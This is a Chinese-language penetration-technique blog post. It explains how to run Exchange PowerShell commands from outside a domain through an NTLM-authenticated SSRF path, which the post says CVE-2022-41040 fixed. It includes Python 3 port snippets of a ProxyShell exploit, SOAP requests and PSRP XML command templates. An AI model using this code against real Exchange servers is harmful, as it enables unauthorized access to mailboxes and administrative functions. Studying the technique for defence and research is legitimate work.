4

渗透技巧——远程访问Exchange Powershell

 1 year ago
source link: https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%BF%9C%E7%A8%8B%E8%AE%BF%E9%97%AEExchange-Powershell
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

渗透技巧——远程访问Exchange Powershell

07 Oct 2022

0x00 前言


Exchange Powershell基于PowerShell Remoting,通常需要在域内主机上访问Exchange Server的80端口,限制较多。本文介绍一种不依赖域内主机发起连接的实现方法,增加适用范围。

注:

该方法在CVE-2022–41040中被修复,修复位置:C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll中的RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress),如下图

Alt text

0x01 简介


本文将要介绍以下内容:

0x02 实现思路


常规用法下,使用Exchange Powershell需要注意以下问题:

  • 所有域用户都可以连接Exchange PowerShell
  • 需要在域内主机上发起连接
  • 连接地址需要使用FQDN,不支持IP

常规用法无法在域外发起连接,而我们知道,通过ProxyShell可以从域外发起连接,利用SSRF执行Exchange Powershell

更进一步,在打了ProxyShell的补丁后,支持NTLM认证的SSRF没有取消,我们可以通过NTLM认证再次访问Exchange Powershell

0x03 实现细节


在代码实现上,我们可以加入NTLM认证传入凭据,示例代码:

from requests_ntlm import HttpNtlmAuth
res = requests.post(url, data=post_data, headers=headers, verify=False, auth=HttpNtlmAuth(username, password))   

在执行Exchange Powershell命令时,我们可以选择pypsrp或者Flask,具体细节可参考之前的文章《ProxyShell利用分析2——CVE-2021-34523》《ProxyShell利用分析3——添加用户和文件写入》

pypsrp或者Flask都是通过建立一个web代理,过滤修改通信数据实现命令执行

为了增加代码的适用范围,这里选择另外一种实现方法:模拟Exchange Powershell的正常通信数据,实现命令执行

可供参考的代码:https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58

代码使用了Python2,实现了ProxyShell的利用

基于这个代码,改写成支持Python3,功能为通过NTLM认证访问Exchange Powershell执行命令,具体需要注意的细节如下:

1.Python2和Python3在格式化字符存在差异

Python2下可用的代码:

class BasePacket:
    def serialize(self):
        Blob = ''.join([struct.pack('I', self.Destination),
                struct.pack('I', self.MessageType),
                self.RPID.bytes_le,
                self.PID.bytes_le,
                self.Data
            ])
        BlobLength = len(Blob)
        output = ''.join([struct.pack('>Q', self.ObjectId),
            struct.pack('>Q', self.FragmentId),
            self.Flags,
            struct.pack('>I', BlobLength),
            Blob ])
        return output 

以上代码在Python3下使用时,需要将Str转为bytes,并且为了避免不可见字符解析的问题,代码结构做了重新设计,Python3可用的代码:

def serialize(self):
    Blob = struct.pack('I', self.Destination) + struct.pack('I', self.MessageType) + self.RPID.bytes_le + self.PID.bytes_le + self.Data.encode('utf-8')
    BlobLength = len(Blob)
    output = struct.pack('>Q', self.ObjectId) + struct.pack('>Q', self.FragmentId) + self.Flags.encode('utf-8') + struct.pack('>I', BlobLength) + Blob       
    return output

Python2下可用的代码:

class CreationXML:
    def serialize(self):
        output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()
        return base64.b64encode(output)

以上代码在Python3下使用时,需要将Str转为bytes,Python3可用的示例代码:

def serialize(self):
    output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()
    return base64.b64encode(output).decode('utf-8')

Python2下可用的代码:

def receive_data(SessionId, commonAccessToken, ShellId):
    print "[+] Receive data util get RunspaceState packet"
    headers = {
        "Content-Type": "application/soap+xml;charset=UTF-8"
        }
    url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
    MessageID = uuid.uuid4()
    OperationID = uuid.uuid4()
    request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
    <s:Header>
        <a:To>https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610</a:To>
        <w:ResourceURI s:mustUnderstand="true">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
        <a:ReplyTo>
            <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
        </a:ReplyTo>
        <a:Action s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive</a:Action>
        <w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
        <a:MessageID>uuid:{MessageID}</a:MessageID>
        <w:Locale xml:lang="en-US" s:mustUnderstand="false" />
        <p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
        <p:SessionId s:mustUnderstand="false">uuid:{SessionId}</p:SessionId>
        <p:OperationID s:mustUnderstand="false">uuid:{OperationID}</p:OperationID>
        <p:SequenceId s:mustUnderstand="false">1</p:SequenceId>
        <w:SelectorSet>
            <w:Selector Name="ShellId">{ShellId}</w:Selector>
        </w:SelectorSet>
        <w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <w:Option Name="WSMAN_CMDSHELL_OPTION_KEEPALIVE">TRUE</w:Option>
        </w:OptionSet>
        <w:OperationTimeout>PT180.000S</w:OperationTimeout>
    </s:Header>
    <s:Body>
        <rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"  SequenceId="0">
            <rsp:DesiredStream>stdout</rsp:DesiredStream>
        </rsp:Receive>
    </s:Body>
</s:Envelope>""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId)
    r = post_request(url, headers, request_data, {})
    if r.status_code == 200:
        doc = xml.dom.minidom.parseString(r.text);
        elements = doc.getElementsByTagName("rsp:Stream")
        if len(elements) == 0:
            print_error_and_exit("receive_data failed with no Stream return", r)
        for element in elements:
            stream = element.firstChild.nodeValue
            data = base64.b64decode(stream)
            if 'RunspaceState' in data:
                print "[+] Found RunspaceState packet"
                return True

以上代码在Python3下使用时,需要将Str转为bytes,为了避免不可见字符解析的问题,这里不能使用.decode('utf-8'),改为使用.decode('ISO-8859-1')

Python3可用的示例代码:

data = base64.b64decode(stream).decode('ISO-8859-1')

2.支持Exchange Powershell命令的XML文件格式

XML文件格式示例1:

<Obj RefId="0"><MS><B N="NoInput">true</B><Obj N="ApartmentState" RefId="1"><TN RefId="0"><T>System.Management.Automation.Runspaces.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>UNKNOWN</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="2"><TN RefId="1"><T>System.Management.Automation.Runspaces.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>AddInvocationInfo</ToString><I32>15</I32></Obj><B N="AddToHistory">false</B><Obj N="HostInfo" RefId="3"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><Obj N="PowerShell" RefId="4"><MS><B N="IsNested">false</B><Nil N="ExtraCmds" /><Obj N="Cmds" RefId="5"><TN RefId="2"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="6"><MS><S N="Cmd">Get-RoleGroupMember</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="7"><TN RefId="3"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="8"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="9"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="10"><TNRef RefId="2" /><LST><Obj RefId="11"><MS><Nil N="N" /><S N="V">Organization Management</S></MS></Obj></LST></Obj><Obj N="MergeError" RefId="12"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="13"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="14"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="15"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj></MS></Obj></LST></Obj><Nil N="History" /><B N="RedirectShellErrorOutputPipe">false</B></MS></Obj><B N="IsNested">false</B></MS></Obj>

对应执行的命令为:Get-RoleGroupMember "Organization Management"

XML文件格式示例2:

<Obj RefId="0"><MS><B N="NoInput">true</B><Obj N="ApartmentState" RefId="1"><TN RefId="0"><T>System.Management.Automation.Runspaces.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>UNKNOWN</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="2"><TN RefId="1"><T>System.Management.Automation.Runspaces.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>AddInvocationInfo</ToString><I32>15</I32></Obj><B N="AddToHistory">false</B><Obj N="HostInfo" RefId="3"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><Obj N="PowerShell" RefId="4"><MS><B N="IsNested">false</B><Nil N="ExtraCmds" /><Obj N="Cmds" RefId="5"><TN RefId="2"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="6"><MS><S N="Cmd">Get-Mailbox</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="7"><TN RefId="3"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="8"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="9"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="10"><TNRef RefId="2" /><LST><Obj RefId="11"><MS><S N="N">-Identity</S><S N="V">administrator</S></MS></Obj></LST></Obj><Obj N="MergeError" RefId="12"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="13"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="14"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="15"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj></MS></Obj></LST></Obj><Nil N="History" /><B N="RedirectShellErrorOutputPipe">false</B></MS></Obj><B N="IsNested">false</B></MS></Obj>

对应执行的命令为:Get-Mailbox -Identity administrator

通过格式分析,可得出以下结论:

(1)属性Cmd对应命令名称

<S N="Cmd">Get-RoleGroupMember</S>

<S N="Cmd">Get-Mailbox</S>

(2)传入的命令参数需要注意格式

如果只传入1个参数,对应的格式为:

<Obj RefId="11"><MS><Nil N="N" /><S N="V">Organization Management</S></MS></Obj>

如果传入2个参数,对应的格式为:

<Obj RefId="11"><MS><S N="N">-Identity</S><S N="V">administrator</S></MS></Obj>

如果传入4个参数,对应的格式为:

<Obj RefId="11"><MS><S N="N">-Identity</S><S N="V">administrator</S></MS></Obj>
<Obj RefId="12"><MS><S N="N">-ResultSize</S><S N="V">1024</S></MS></Obj>

为此,我们可以使用以下代码实现参数填充:

def GenerateArgument(N_data, V_data):
    if len(N_data) == 0:
        Argument = """<Obj RefId="13"><MS><Nil N="N" /><S N="V">{V_data}</S></MS></Obj>""".format(V_data=V_data)
    else:
        Argument = """<Obj RefId="13"><MS><S N="N">{N_data}</S><S N="V">{V_data}</S></MS></Obj>""".format(N_data=N_data, V_data=V_data)
    return Argument

构造XML文件格式的实现代码:

    commandData = """<Obj RefId="0"><MS>
    <Obj N="PowerShell" RefId="1"><MS>
        <Obj N="Cmds" RefId="2">
            <TN RefId="0">
                <T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>
                <T>System.Object</T>
            </TN>
            <LST>
                <Obj RefId="3"><MS>
                    <S N="Cmd">{Cmdlet}</S>
                    <B N="IsScript">false</B>
                    <Nil N="UseLocalScope" />
                    <Obj N="MergeMyResult" RefId="4">
                        <TN RefId="1">
                            <T>System.Management.Automation.Runspaces.PipelineResultTypes</T>
                            <T>System.Enum</T>
                            <T>System.ValueType</T>
                            <T>System.Object</T>
                        </TN>
                        <ToString>None</ToString><I32>0</I32>
                    </Obj>
                    <Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
                    <Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
                    <Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
                    <Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
                    <Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
                    <Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
                    <Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
                    <Obj N="Args" RefId="12"><TNRef RefId="0" />
                        <LST>
                            {Argument}
                        </LST>
                    </Obj>
                </MS></Obj>
            </LST>
        </Obj>
        <B N="IsNested">false</B>
        <Nil N="History" />
        <B N="RedirectShellErrorOutputPipe">true</B>
    </MS></Obj>
    <B N="NoInput">true</B>
    <Obj N="ApartmentState" RefId="15">
        <TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN>
        <ToString>Unknown</ToString><I32>2</I32>
    </Obj>
    <Obj N="RemoteStreamOptions" RefId="16">
        <TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN>
        <ToString>0</ToString><I32>0</I32>
    </Obj>
    <B N="AddToHistory">true</B>
    <Obj N="HostInfo" RefId="17"><MS>
        <B N="_isHostNull">true</B>
        <B N="_isHostUINull">true</B>
        <B N="_isHostRawUINull">true</B>
        <B N="_useRunspaceHost">true</B></MS>
    </Obj>
    <B N="IsNested">false</B>
</MS></Obj>""".format(Cmdlet=Cmdlet, Argument=Argument)

结合以上细节后,我们可以得出最终的实现代码,代码执行结果如下图

Alt text

0x04 小结


本文介绍了远程访问Exchange Powershell的实现方法,优点是不依赖于域内主机上发起连接,该方法在CVE-2022–41040中被修复。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK